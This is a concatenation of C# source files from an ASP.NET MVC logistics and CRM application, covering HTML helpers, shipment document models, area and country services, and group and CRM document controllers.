case VoucherStatus.Approved:
if (user.IsAdmin() || (user.IsDirecter() && user.AllowApprovedStockCard))
{
name = nameCancel;
adStatus = VoucherStatus.Pending.ToString();
button = string.Format(bt, name, adStatus, id);
}
break;
}
return button;
}
public static List<SelectListItem> PagList
{
get
{
var pageSizes = new List<SelectListItem>
{
new SelectListItem() { Value = "0", Text = "--All--" },
//new SelectListItem() { Value = "5", Text = "5" },
new SelectListItem() { Value = "10", Text = "10" },
new SelectListItem() { Value = "20", Text = "20",Selected = true},
new SelectListItem() { Value = "30", Text = "30" },
new SelectListItem() { Value = "50", Text = "50" },
new SelectListItem() { Value = "100", Text = "100" },
};
return pageSizes;
}
}
private static Type GetNonNullableModelType(ModelMetadata modelMetadata)
{
Type realModelType = modelMetadata.ModelType;
Type underlyingType = Nullable.GetUnderlyingType(realModelType);
if (underlyingType != null)
{
realModelType = underlyingType;
}
return realModelType;
}
private static readonly SelectListItem[] SingleEmptyItem = new[] { new SelectListItem { Text = "", Value = "" } };
public static string GetEnumDescription<TEnum>(TEnum value)
{
FieldInfo fi = value.GetType().GetField(value.ToString());
DescriptionAttribute[] attributes = (DescriptionAttribute[])fi.GetCustomAttributes(typeof(DescriptionAttribute), false);
if ((attributes != null) && (attributes.Length > 0))
return attributes[0].Description;
else
return value.ToString();
}
public static MvcHtmlString EnumDropDownListFor<TModel, TEnum>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TEnum>> expression)
{
return EnumDropDownListFor(htmlHelper, expression, null, null);
}
public static MvcHtmlString EnumDropDownListFor<TModel, TEnum>(this HtmlHelper<TModel> htmlHelper, Expression<Func<TModel, TEnum>> expression, object htmlAttributes, string attributes = null)
{
ModelMetadata metadata = ModelMetadata.FromLambdaExpression(expression, htmlHelper.ViewData);
Type enumType = GetNonNullableModelType(metadata);
IEnumerable<TEnum> values = Enum.GetValues(enumType).Cast<TEnum>();
IEnumerable<SelectListItem> items = from value in values
select new SelectListItem
{
Text = GetEnumDescription(value),
Value = value.ToString(),
Selected = value.Equals(metadata.Model)
};
// If the enum is nullable, add an 'empty' item to the collection
if (metadata.IsNullableValueType)
items = SingleEmptyItem.Concat(items);
return htmlHelper.DropDownListFor(expression, items, htmlAttributes);
}
public static List<string> GetErrorListFromModelState(ModelStateDictionary modelState)
{
var query = from state in modelState.Values
from error in state.Errors
select error.ErrorMessage;
var errorList = query.ToList();
return errorList;
}
public static string CheckBoxList(this HtmlHelper helper, string name, IEnumerable<SelectListItem> items)
{
var output = new StringBuilder();
output.Append(@"<div class=""checkboxList"">");
foreach (var item in items)
{
output.Append(@"<input type=""checkbox"" name=""");
output.Append(name);
output.Append("\" value=\"");
output.Append(item.Value);
output.Append("\"");
if (item.Selected)
output.Append(@" checked=""chekced""");
output.Append(" />");
output.Append(item.Text);
output.Append("<br />");
}
output.Append("</div>");
return output.ToString();
}
public static string BindImangeNew(User user, NewsModel model)
{
var check = model.UserView != null &&
model.UserView.Contains(string.Format(";{0};", user.Id));
if (check) return string.Empty;
var checkDate = (DateTime.Now - model.DateCreate).Days >= Helpers.DaysView;
if (checkDate) return string.Empty;
var output = new StringBuilder();
output.Append(@"<img class=""newAlertinfo"" alt=""newInfo"" src=""/Content/new-17434.png"" />");
return output.ToString();
}
public static string ToDateDisplay(this HtmlHelper helper, DateTime? date, bool nearTime = false)
{
if (date == null)
return string.Empty;
if (nearTime)
return date.Value.ToString("dd-MMM-yyyy HH:mm");
return string.Format("{0:dd-MMM-yyy}", date.Value);
}
public static IHtmlString LinkIcon(this AjaxHelper ajax, string title, string action, string controller,
object routeValues,
MyAjaxOptions ajaxOptions, object htmlAttributes = null, object icon = null)
{
var attIcom = HtmlHelper.AnonymousObjectToHtmlAttributes(icon) ?? new RouteValueDictionary();
var iBuilder = new TagBuilder("i");
iBuilder.MergeAttributes(attIcom);
// return Link(ajax,title,action,controller,routeValues,ajaxOptions,htmlAttributes);
var attributes = HtmlHelper.AnonymousObjectToHtmlAttributes(htmlAttributes) ?? new RouteValueDictionary();
var routes = HtmlHelper.AnonymousObjectToHtmlAttributes(routeValues);
var targetUrl = UrlHelper.GenerateUrl(null, action, controller, routes, ajax.RouteCollection, ajax.ViewContext.RequestContext, true);
var builder = new TagBuilder("a")
{
InnerHtml = HttpUtility.HtmlEncode(title + iBuilder.ToString(TagRenderMode.Normal))
};
builder.MergeAttributes(attributes);
// builder.MergeAttribute("href", targetUrl);
builder.MergeAttribute("data-ajax-url", targetUrl);
if (ajax.ViewContext.UnobtrusiveJavaScriptEnabled)
{
var options = ajaxOptions ?? new MyAjaxOptions();
var optionAttributes = options.ToUnobtrusiveHtmlAttributes();
optionAttributes.Remove("data-ajax");
optionAttributes.Add("data-ajax-contentType", options.ContentType);
optionAttributes.Add("data-ajax-dataType", options.DataType);
builder.MergeAttributes(optionAttributes);
}
builder.MergeAttribute("onclick", "return jQuery(this).mbqAjax();");
return MvcHtmlString.Create(builder.ToString(TagRenderMode.Normal));
}
public static IHtmlString Link(this AjaxHelper ajax, string title, string action, string controller, object routeValues,
MyAjaxOptions ajaxOptions, object htmlAttributes = null)
{
var attributes = HtmlHelper.AnonymousObjectToHtmlAttributes(htmlAttributes) ?? new RouteValueDictionary();
var routes = HtmlHelper.AnonymousObjectToHtmlAttributes(routeValues);
var targetUrl = UrlHelper.GenerateUrl(null, action, controller, routes, ajax.RouteCollection, ajax.ViewContext.RequestContext, true);
var builder = new TagBuilder("a")
{
InnerHtml = HttpUtility.HtmlEncode(title)
};
builder.MergeAttributes(attributes);
// builder.MergeAttribute("href", targetUrl);
builder.MergeAttribute("data-ajax-url", targetUrl);
if (ajax.ViewContext.UnobtrusiveJavaScriptEnabled)
{
var options = ajaxOptions ?? new MyAjaxOptions();
var optionAttributes = options.ToUnobtrusiveHtmlAttributes();
optionAttributes.Remove("data-ajax");
if (!string.IsNullOrEmpty(options.DataType))
optionAttributes.Add("data-ajax-contentType", options.ContentType);
if (!string.IsNullOrEmpty(options.DataType))
optionAttributes.Add("data-ajax-dataType", options.DataType);
optionAttributes.Add("data-ajax-classDialog", options.ClassDialog);
builder.MergeAttributes(optionAttributes);
}
builder.MergeAttribute("onclick", "return jQuery(this).mbqAjax();");
return MvcHtmlString.Create(builder.ToString(TagRenderMode.Normal));
}
public static IEnumerable<Enum> GetListOfDescription<T>() where T : struct
{
Type t = typeof(T);
return !t.IsEnum ? null : Enum.GetValues(t).Cast<Enum>().ToList();
}
}
public class MyAjaxOptions : AjaxOptions
{
public string DataType { get; set; }
public string ContentType { get; set; }
public string ClassDialog { get; set; }
}
}<file_sep>using System;
namespace SSM.ViewModels.Reports
{
public class ProfitReportModel
{
public object Id { get; set; }
public string Name { get; set; }
public decimal Profit { get; set; }
public int TotalShipment { get; set; }
}
public class FilterProfit
{
// khongo tinh console
// tinh console
// Quanty tinh console hoac khong
// All, 10,20,30, profit =0 khong show
//If console not lole
//If lole not console
// profit khong bao gio tinh console,
public TypeFilterProfit TypeFilterProfit { get; set; }
public int Top { get; set; }
public DateTime BeginDate { get; set; }
public DateTime EndDate { get; set; }
}
public enum TypeFilterProfit
{
Agent,
Department,
Cnee,
Shipper,
Sales,
SalesType,
Servics
}
}<file_sep>namespace SSM.Models
{
public class AuthorLetterModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string DearTo { get; set; }
public string BenA { get; set; }
public string BenB { get; set; }
public string MAWBNo { get; set; }
public string HAWNNo { get; set; }
public string Flight { get; set; }
public string Weight { get; set; }
public string NoOfPackage { get; set; }
public string DescriptionOfGoods { get; set; }
public string FlightDate { get; set; }
public string CompanyAddress { get; set; }
public string PublicTitle { get; set; }
public static void convertAuthorLetter(AuthorLetterModel Model, AuthorLetter Letter)
{
Letter.ShipmentId = Model.ShipmentId;
Letter.DearTo = Model.DearTo;
Letter.BenA = Model.BenA;
Letter.BenB = Model.BenB;
Letter.MAWBNo = Model.MAWBNo;
Letter.HAWNNo = Model.HAWNNo;
Letter.Flight = Model.Flight;
Letter.Weight = Model.Weight;
Letter.NoOfPackage = Model.NoOfPackage;
Letter.DescriptionOfGoods = Model.DescriptionOfGoods;
Letter.FlightDate = Model.FlightDate;
Letter.CompanyAddress = Model.CompanyAddress;
Letter.PublicTitle = Model.PublicTitle;
}
public static void convertAuthorLetter(AuthorLetter Letter, AuthorLetterModel Model)
{
Model.Id = Letter.Id;
Model.ShipmentId = Letter.ShipmentId;
Model.DearTo = Letter.DearTo;
Model.BenA = Letter.BenA;
Model.BenB = Letter.BenB;
Model.MAWBNo = Letter.MAWBNo;
Model.HAWNNo = Letter.HAWNNo;
Model.Flight = Letter.Flight;
Model.Weight = Letter.Weight;
Model.NoOfPackage = Letter.NoOfPackage;
Model.DescriptionOfGoods = Letter.DescriptionOfGoods;
Model.FlightDate = Letter.FlightDate;
Model.CompanyAddress = Letter.CompanyAddress;
Model.PublicTitle = Letter.PublicTitle;
}
}
}<file_sep>using System;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface IAreaService : IServices<Area>
{
Area GetById(long id);
AreaModel GetModelById(long id);
IQueryable<Area> GetAll(Area model);
bool InsertArea(AreaModel model);
bool UpdateArea(AreaModel model);
bool DeleteArea(long id);
bool UpdateTradingArea(long id, bool istrading);
}
public class AreaService : Services<Area>, IAreaService
{
public Area GetById(long id)
{
return GetQuery().FirstOrDefault(x => x.Id == id);
}
public AreaModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return Mapper.Map<AreaModel>(db);
}
public IQueryable<Area> GetAll(Area model)
{
var qr = GetQuery(s =>
(string.IsNullOrEmpty(model.AreaAddress) || (s.AreaAddress.Contains(model.AreaAddress)))
&& (model.CountryId == 0 || s.CountryId == model.CountryId)
&& (model.trading_yn == false || s.trading_yn == true)
);
return qr;
}
public bool InsertArea(AreaModel model)
{
try
{
var db = new Area();
ConvertModel(model, db);
Insert(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool UpdateArea(AreaModel model)
{
try
{
var db = GetById(model.Id);
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool DeleteArea(long id)
{
try
{
var db = new Area();
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool UpdateTradingArea(long id, bool istrading)
{
try
{
var area = GetById(id);
if (area == null) return false;
area.trading_yn = istrading;
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
private void ConvertModel(AreaModel model, Area db)
{
db.Id = model.Id;
db.AreaAddress = model.AreaAddress;
db.CountryId = model.CountryId;
db.Description = model.Description;
db.trading_yn = model.IsTrading;
var country = GetAllCountry().FirstOrDefault(x => x.Id == model.CountryId);
if (country != null)
db.CountryName = country.CountryName;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class OrderModel
{
public long VoucherId { get; set; }
public int VoucherCode { get; set; }
[Required]
public DateTime? VoucherDate { get; set; }
[Required]
public string VoucherNo { get; set; }
[Required]
public Supplier Supplier { get; set; }
public string Description { get; set; }
[Required]
public Curency Curency { get; set; }
[Required]
public decimal ExchangeRate { get; set; }
[Required]
public string HBL { get; set; }
[Required]
public string MBL { get; set; }
[Required]
public Country Country { get; set; }
[Required]
public string DeclaraNo { get; set; }
[Required]
public DateTime? DeclaraDate { get; set; }
[Required]
public DateTime? ReceiptDate { get; set; }
public decimal QuantityTotal { get; set; }
public decimal TAmount { get; set; }
public decimal TVATTax { get; set; }
public decimal TransportFee { get; set; }
public decimal InlnadFee { get; set; }
public decimal Fee1 { get; set; }
public decimal Fee2 { get; set; }
public decimal Fee { get; set; }
public decimal TTT { get; set; }
public decimal VnTTT { get; set; }
public long SubmittedBy { get; set; }
public long CheckedBy { get; set; }
public long ApprovedBy { get; set; }
public VoucherStatus Status { get; set; }
public DateTime? DateCreate { get; set; }
public DateTime? DateModify { get; set; }
public long CreateBy { get; set; }
public long ModifyBy { get; set; }
public List<OrderDetailModel> OrderDetails { get; set; }
public User UserCreated { get; set; }
public User UserSubmited { get; set; }
public User UserChecked { get; set; }
public User UserApproved{ get; set; }
public DateTime? DateSubmited { get; set; }
public DateTime? DateChecked { get; set; }
public DateTime? DateApproved { get; set; }
public string NotePrints { get; set; }
public string ProductView { get; set; }
}
public class OrderDetailModel
{
public long VoucherId { get; set; }
public int RowId { get; set; }
[Required]
public long ProductId{ get; set; }
public string ProductCode { get; set; }
[Required]
public string UOM { get; set; }
public int WarehouseId { get; set; }
public decimal Quantity { get; set; }
public decimal Price { get; set; }
public decimal VnPrice { get; set; }
public decimal Amount { get; set; }
public decimal ImportTaxRate { get; set; }
public decimal ImportTax { get; set; }
public decimal TaxRate { get; set; }
public decimal Tax { get; set; }
public decimal TransportFee { get; set; }
public decimal InlandFee { get; set; }
public decimal Fee1 { get; set; }
public decimal Fee2 { get; set; }
public decimal TFee { get; set; }
public decimal PriceReceive { get; set; }
public decimal Total { get; set; }
public decimal VnTotal { get; set; }
public string Note { get; set; }
public int TabIndex { get; set; }
public Product Product { get; set; }
public Warehouse Warehouse { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web.Mvc;
using SSM.Common;
using SSM.Models;
using SSM.Services;
using SSM.ViewModels;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class GroupController : BaseController
{
private IGroupService groupService;
private UsersServices usersServices;
private GridNew<Group, GroupModel> gridView;
private const string GROUP_SEARCH_MODEL = "GROUP_SEARCH_MODEL";
public GroupController()
{
this.groupService = new GroupService();
usersServices = new UsersServicesImpl();
}
public ActionResult Index()
{
gridView = (GridNew<Group, GroupModel>)Session[GROUP_SEARCH_MODEL];
if (gridView == null)
{
gridView = new GridNew<Group, GroupModel>(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sidx = "Name",
})
{
SearchCriteria = new Group()
};
}
UpdateGridData();
return View(gridView);
}
[HttpPost]
public ActionResult Index(GridNew<Group, GroupModel> grid)
{
gridView = grid;
Session[GROUP_SEARCH_MODEL] = grid;
UpdateGridData();
return PartialView("_ListData", gridView);
}
private void UpdateGridData()
{
// int skip = (gridView.Pager.CurrentPage - 1) * gridView.Pager.PageSize;
var page = gridView.Pager;
int take = gridView.Pager.PageSize;
var groups = groupService.GetQuerys(gridView.SearchCriteria);
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Name" : page.Sidx, page.Sord == "asc");
int totalRows = groups.Count();
gridView.Pager.Init(totalRows);
if (totalRows == 0)
{
gridView.Data = new List<Group>();
return;
}
groups = groups.OrderBy(sort);
IEnumerable<Group> list = groupService.GetListPager(groups, gridView.Pager.CurrentPage, take);
gridView.Data = list;
}
[HttpGet]
public ActionResult Edit(int id)
{
var model = id == 0 ? new GroupModel() { UserGroups = new List<UserGroup>(), ListUserAccesses = new long[10], IsActive = true } : groupService.GetGroupModel(id);
var listUser = usersServices.GetQuery(x => x.IsActive).OrderBy(x => x.FullName).ThenBy(x => x.Department.DeptName).ToList();
ViewBag.AllUSer = listUser;
if (id != 0)
{
var listUserAccess = model.UserGroups.Select(x => x.User).OrderBy(x => x.FullName).ThenBy(x => x.Department.DeptName).ToList();
var userNewList = listUser.Where(x => !listUserAccess.Select(u => u.Id).Contains(x.Id));
ViewBag.AllUSer = userNewList.ToList();
}
model = model ?? new GroupModel();
return PartialView("_formEditView", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(GroupModel model)
{
string message;
try
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
groupService.UpdateGroup(model, out message);
}
else
{
model.Id = 0;
groupService.CreateGroup(model, out message);
}
if (string.IsNullOrEmpty(message))
{
return Json(1);
}
else
{
throw new Exception(message);
}
}
else
{
var errm = ViewData.ModelState.Values.Aggregate(string.Empty, (current1, modelState) => modelState.Errors.Aggregate(current1, (current, error) => current + error.ErrorMessage+"\n"));
throw new Exception(errm);
}
}
catch (Exception ex)
{
var listUser = usersServices.GetQuery(x => x.IsActive).OrderBy(x => x.FullName).ThenBy(x => x.Department.DeptName).ToList();
ViewBag.AllUSer = listUser;
ViewBag.ErrorMessage = ex.Message;
return PartialView("_formEditView", model);
}
}
public ActionResult SetGroupActive(int id, bool isActive)
{
groupService.SetActive(id, isActive);
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult CheckDelete(int id)
{
ViewBag.checkDelete = groupService.CheckGroupFree(id);
return PartialView("_CheckDelete", id);
}
public ActionResult Delete(int id)
{
string message;
if (groupService.CheckGroupFree(id))
{
groupService.DeleteGroup(id, out message);
}
return RedirectToAction("Index", "Group", new { id = 0 });
}
}
}<file_sep>using System.Collections.Generic;
using System.Text.RegularExpressions;
using SSM.Models;
namespace SSM.ViewModels.Reports.CRM
{
public class PersonalReport
{
public string PlanName { get; set; }
public int PlanValue { get; set; }
public int PlanValueNextMonth { get; set; }
public int FistExc { get; set; }
public int LastExc { get; set; }
public int TotalExc { get; set; }
public int Odds { get; set; }
public int Month { get; set; }
public int Year { get; set; }
public decimal FrirsPercen
{
get
{
return PlanValue > 0 ? (FistExc / PlanValue) * 100 : 0;
}
}
public int LastPercen
{
get
{
return PlanValue > 0 ? (LastExc / PlanValue) * 100 : 0;
}
}
public int TotalPercen
{
get
{
return PlanValue > 0 ? (TotalExc / PlanValue) * 100 : 0;
}
}
public string Classification
{
get
{
if (TotalPercen >= 78)
return "A";
if (TotalPercen >= 48)
return "B";
return "C";
}
}
}
public class CustomerSammaryReport
{
public CRMCustomer Customer { get; set; }
public int Month { get; set; }
public int ShipmentCount { get; set; }
}
public class SalesTypeSummaryReport
{
public SaleType SaleType { get; set; }
public List<CustomerSammaryReport> SammaryReports { get; set; }
}
public class PlanYearSummaryReport
{
public string PlanName{ get; set; }
public int Month{ get; set; }
public int Year{ get; set; }
public int Execu { get; set; }
public int Odds { get; set; }
}
}<file_sep>using System;
using SSM.Utils;
namespace SSM.Models
{
public class ArriveNoticeModel
{
public long Id { get; set; }
public long ShipmentId { get; set; }
public string CompanyName { get; set; }
public string BillNumber { get; set; }
public string ShiperName { get; set; }
public string ShiperNumber { get; set; }
public string ETA { get; set; }
public string PortTo { get; set; }
public bool ShipperNote { get; set; }
public bool IntroducePaper { get; set; }
public bool ArrivePaper { get; set; }
public string OrderDate { get; set; }
public string BillDetailAction { get; set; }
public long BillDetailId { get; set; }
public string ShippingMark { get; set; }
public string NoCTNS { get; set; }
public string GoodsDescription { get; set; }
public string GrossWeight { get; set; }
public string CBM { get; set; }
public string NoticeTel { get; set; }
public string NoticeAttn { get; set; }
public string Notification { get; set; }
public bool Logo { get; set; }
public bool Footer { get; set; }
public bool Header { get; set; }
public bool DOLogo { get; set; }
public bool DOFooter { get; set; }
public bool DOHeader { get; set; }
public String DeliveryDate { get; set; }
public String CompanyAddress { get; set; }
public String DOAddress { get; set; }
public String DOCompanyAddress { get; set; }
public String DOVNTitle { get; set; }
public String DOENTitle { get; set; }
public String ToVN { get; set; }
public String ToEN { get; set; }
public String AddressOfSign { get; set; }
public static void ConvertArriveNotice(ArriveNoticeModel NoticeModel, ArriveNotice Notice)
{
Notice.ShipmentId = NoticeModel.ShipmentId;
Notice.CompanyName = NoticeModel.CompanyName;
Notice.BillNumber = NoticeModel.BillNumber;
Notice.ShiperName = NoticeModel.ShiperName;
Notice.ShiperNumber = NoticeModel.ShiperNumber;
Notice.ShippingMark = NoticeModel.ShippingMark;
Notice.NoCTNS = NoticeModel.NoCTNS;
Notice.GoodsDescription = NoticeModel.GoodsDescription;
Notice.GrossWeight = NoticeModel.GrossWeight;
Notice.CBM = NoticeModel.CBM;
Notice.Notification = NoticeModel.Notification;
Notice.ETA = DateUtils.Convert2DateTime(NoticeModel.ETA);
Notice.PortTo = NoticeModel.PortTo;
Notice.ShipperNote = NoticeModel.ShipperNote;
Notice.IntroducePaper = NoticeModel.IntroducePaper;
Notice.ArrivePaper = NoticeModel.ArrivePaper;
Notice.OrderDate = DateUtils.Convert2DateTime(NoticeModel.OrderDate);
Notice.Tel = NoticeModel.NoticeTel;
Notice.Attn = NoticeModel.NoticeAttn;
Notice.Logo = NoticeModel.Logo;
Notice.Header = NoticeModel.Header;
Notice.Footer = NoticeModel.Footer;
Notice.CompanyAddress = NoticeModel.CompanyAddress;
Notice.DOENTitle = NoticeModel.DOENTitle;
Notice.DOVNTitle = NoticeModel.DOVNTitle;
Notice.ToEN = NoticeModel.ToEN;
Notice.ToVN = NoticeModel.ToVN;
Notice.AddressOfSign = NoticeModel.AddressOfSign;
}
public static void ConvertDeliveryOrder(ArriveNoticeModel NoticeModel, ArriveNotice Notice)
{
Notice.DOENTitle = NoticeModel.DOENTitle;
Notice.DOVNTitle = NoticeModel.DOVNTitle;
Notice.ToEN = NoticeModel.ToEN;
Notice.ToVN = NoticeModel.ToVN;
Notice.AddressOfSign = NoticeModel.AddressOfSign;
Notice.ShipmentId = NoticeModel.ShipmentId;
Notice.CompanyName = NoticeModel.CompanyName;
Notice.BillNumber = NoticeModel.BillNumber;
Notice.ShiperName = NoticeModel.ShiperName;
Notice.ShiperNumber = NoticeModel.ShiperNumber;
Notice.ShippingMark = NoticeModel.ShippingMark;
Notice.NoCTNS = NoticeModel.NoCTNS;
Notice.GoodsDescription = NoticeModel.GoodsDescription;
Notice.GrossWeight = NoticeModel.GrossWeight;
Notice.CBM = NoticeModel.CBM;
Notice.Notification = NoticeModel.Notification;
Notice.IntroducePaper = NoticeModel.IntroducePaper;
Notice.ArrivePaper = NoticeModel.ArrivePaper;
Notice.OrderDate = DateUtils.Convert2DateTime(NoticeModel.OrderDate);
Notice.Logo = NoticeModel.Logo;
Notice.Header = NoticeModel.Header;
Notice.Footer = NoticeModel.Footer;
Notice.DeliveryDate = NoticeModel.DeliveryDate;
Notice.DOCompanyAddress = NoticeModel.DOCompanyAddress;
Notice.DOAddress = NoticeModel.DOAddress;
}
public static void ConvertArriveNotice(ArriveNotice NoticeModel, ArriveNoticeModel Notice)
{
Notice.Id = NoticeModel.Id;
Notice.ShipmentId = NoticeModel.ShipmentId != null ? NoticeModel.ShipmentId.Value : 0;
Notice.CompanyName = NoticeModel.CompanyName;
Notice.BillNumber = NoticeModel.BillNumber;
Notice.ShiperName = NoticeModel.ShiperName;
Notice.ShiperNumber = NoticeModel.ShiperNumber;
Notice.ShippingMark = NoticeModel.ShippingMark;
Notice.NoCTNS = NoticeModel.NoCTNS;
Notice.GoodsDescription = NoticeModel.GoodsDescription;
Notice.GrossWeight = NoticeModel.GrossWeight;
Notice.CBM = NoticeModel.CBM;
Notice.Notification = NoticeModel.Notification;
Notice.ETA = NoticeModel.ETA != null ? NoticeModel.ETA.Value.ToString("dd/MM/yyyy") : "";
Notice.PortTo = NoticeModel.PortTo;
Notice.ShipperNote = NoticeModel.ShipperNote;
Notice.IntroducePaper = NoticeModel.IntroducePaper;
Notice.ArrivePaper = NoticeModel.ArrivePaper;
Notice.OrderDate = NoticeModel.OrderDate != null ? NoticeModel.OrderDate.Value.ToString("dd/MM/yyyy") : "";
Notice.NoticeTel = NoticeModel.Tel;
Notice.NoticeAttn = NoticeModel.Attn;
Notice.Logo = NoticeModel.Logo;
Notice.Header = NoticeModel.Header;
Notice.Footer = NoticeModel.Footer;
Notice.DOLogo = NoticeModel.DOLogo;
Notice.DOHeader = NoticeModel.DOHeader;
Notice.DOFooter = NoticeModel.DOFooter;
Notice.DeliveryDate = NoticeModel.DeliveryDate;
Notice.CompanyAddress = NoticeModel.CompanyAddress;
Notice.DOCompanyAddress = NoticeModel.DOCompanyAddress;
Notice.DOAddress = NoticeModel.DOAddress;
Notice.DOENTitle = NoticeModel.DOENTitle;
Notice.DOVNTitle = NoticeModel.DOVNTitle;
Notice.ToEN = NoticeModel.ToEN;
Notice.ToVN = NoticeModel.ToVN;
Notice.AddressOfSign = NoticeModel.AddressOfSign;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using AutoMapper;
using SSM.Common;
using SSM.Models;
namespace SSM.Services
{
public interface ICountryService : IServices<Country>
{
Country GetById(long id);
CountryModel GetModelById(long id);
CountryModel GetModelByName(string name);
IQueryable<Country> GetAll(Country model);
bool InsertCountry(CountryModel model);
bool InsertCountry(List<CountryModel> models);
bool UpdateCountry(CountryModel model);
bool DeleteCountry(long id);
CountryModel ToModels(Country country);
long GetIdByName(string name);
}
public class CountryService : Services<Country>, ICountryService
{
public Country GetById(long id)
{
return FindEntity(x => x.Id == id);
}
public CountryModel GetModelById(long id)
{
var db = GetById(id);
if (db == null) return null;
return ToModels(db);
}
public CountryModel GetModelByName(string name)
{
var db = FindEntity(x => x.CountryName.ToLower() == name.ToLower());
if (db == null) return null;
return ToModels(db);
}
public IQueryable<Country> GetAll(Country model)
{
var qr = GetQuery(s => string.IsNullOrEmpty(model.CountryName) || s.CountryName.Contains(model.CountryName.Trim()));
return qr;
}
public bool InsertCountry(CountryModel model)
{
try
{
var db = ToDbModel(model);
db.Id = 0;
Insert(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool InsertCountry(List<CountryModel> models)
{
foreach (var countryModel in models)
{
var db = ToDbModel(countryModel);
db.Id = 0;
Insert(db);
}
Commited();
return true;
}
public bool UpdateCountry(CountryModel model)
{
try
{
SSM.Models.Country db = GetById(model.Id);
ConvertModel(model, db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public bool DeleteCountry(long id)
{
try
{
var db = GetById(id);
Delete(db);
Commited();
return true;
}
catch (Exception ex)
{
Logger.LogError(ex); return false;
}
}
public Country ToDbModel(CountryModel model)
{
var db = new Country
{
Id = model.Id,
CountryName = model.CountryName
};
return db;
}
private void ConvertModel(CountryModel model, Country db)
{
db.CountryName = model.CountryName;
}
public CountryModel ToModels(Country country)
{
if (country == null) return null;
return Mapper.Map<CountryModel>(country);
}
public long GetIdByName(string name)
{
var db = FindEntity(x => x.CountryName.Trim().ToLower().Equals(name.Trim().ToLower()));
return db==null ? 0 : db.Id;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Routing;
using Resources;
using SSM.Common;
using SSM.Models;
using SSM.Models.CRM;
using SSM.Services;
using SSM.Services.CRM;
using SSM.ViewModels.Shared;
namespace SSM.Controllers
{
public class CRMDocumentController : BaseController
{
private ICRMDocumentService documentService;
private ICRMCustomerService crmCustomerService;
private static string DOC_LIST_MODEL = "DOC_LIST_MODEL";
private Grid<CrmCusDocumentModel> _grid;
private static String DOCUMENT_PATH = "/FileManager/CRMDocument";
private IServerFileService fileService;
private UsersServices usersServices;
protected override void Initialize(RequestContext requestContext)
{
base.Initialize(requestContext);
documentService = new CRMDocumentService();
crmCustomerService = new CRMCustomerService();
fileService = new ServerFileService();
usersServices = new UsersServicesImpl();
}
public ActionResult Index()
{
_grid = (Grid<CrmCusDocumentModel>)Session[DOC_LIST_MODEL];
if (_grid == null)
{
_grid = new Grid<CrmCusDocumentModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 50,
Sord = "asc",
Sidx = "DocName"
}
);
_grid.SearchCriteria = new CrmCusDocumentModel();
}
UpdateGrid();
ViewData["Departments"] = usersServices.GetAllDepartmentActive(CurrenUser);
return View(_grid);
}
[HttpPost]
public ActionResult Index(Grid<CrmCusDocumentModel> grid, CRMSearchModel fiter)
{
_grid = grid;
UpdateGrid(fiter);
Session[DOC_LIST_MODEL] = _grid;
ViewData["Departments"] = usersServices.GetAllDepartmentActive(CurrenUser);
return PartialView("_List", _grid);
}
private void UpdateGrid(CRMSearchModel filter = null)
{
var totalRow = 0;
filter = filter ?? new CRMSearchModel();
var page = _grid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "Subject" : page.Sidx, page.Sord == "asc");
IEnumerable<CrmCusDocumentModel> document = documentService.GetAll(filter, sort, out totalRow, page.CurrentPage, page.PageSize, CurrenUser);
_grid.Pager.Init(totalRow);
ViewBag.SearchingMode = filter;
var sales = usersServices.GetAllSales(CurrenUser, false);
ViewBag.AllSales = new SelectList(sales, "Id", "FullName");
if (totalRow == 0)
{
_grid.Data = new List<CrmCusDocumentModel>();
ViewBag.TotalDisplay = string.Empty;
return;
}
_grid.Data = document;
string totalDisplay =
string.Format("Tổng cộng:{0} tài liệu", totalRow);
ViewBag.TotalDisplay = totalDisplay;
}
public JsonResult ListForCus(long refId)
{
var sort = new SSM.Services.SortField("DocName", true);
var totalRow = 0;
// var search = new PriceSearchModel() { CusId = cusId, PriceStaus = CRMPriceStaus.All };
var filter = new CRMSearchModel() { Id = refId };
IEnumerable<CrmCusDocumentModel> documentModels = documentService.GetAll(filter, sort, out totalRow, 1, int.MaxValue, CurrenUser);
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(refId);
var value = new
{
Views = this.RenderPartialView("_ListForCus", documentModels),
Title = string.Format(@"{0}", "Danh sách tài liệu của khách hàng " + crmCustomer.CompanyShortName),
};
return JsonResult(value, true);
}
private CRMCustomerModel crmCustomer;
public ActionResult Edit(long cusId, long id = 0)
{
var model = new CrmCusDocumentModel { CrmCusId = cusId, FilesList = new List<ServerFile>() };
var doc = documentService.GetModel(id);
crmCustomer = crmCustomer ?? crmCustomerService.GetModelById(cusId);
if (doc != null)
{
model = doc;
model.FilesList = fileService.GetServerFile(id, new CrmCusDocumentModel().GetType().ToString());
}
var value = new
{
Views = this.RenderPartialView("_TemplateEditView", model),
Title = string.Format(@"{0} tài liệu {1} ", id > 0 ? "Sửa " : "Tạo ", crmCustomer.CompanyShortName),
};
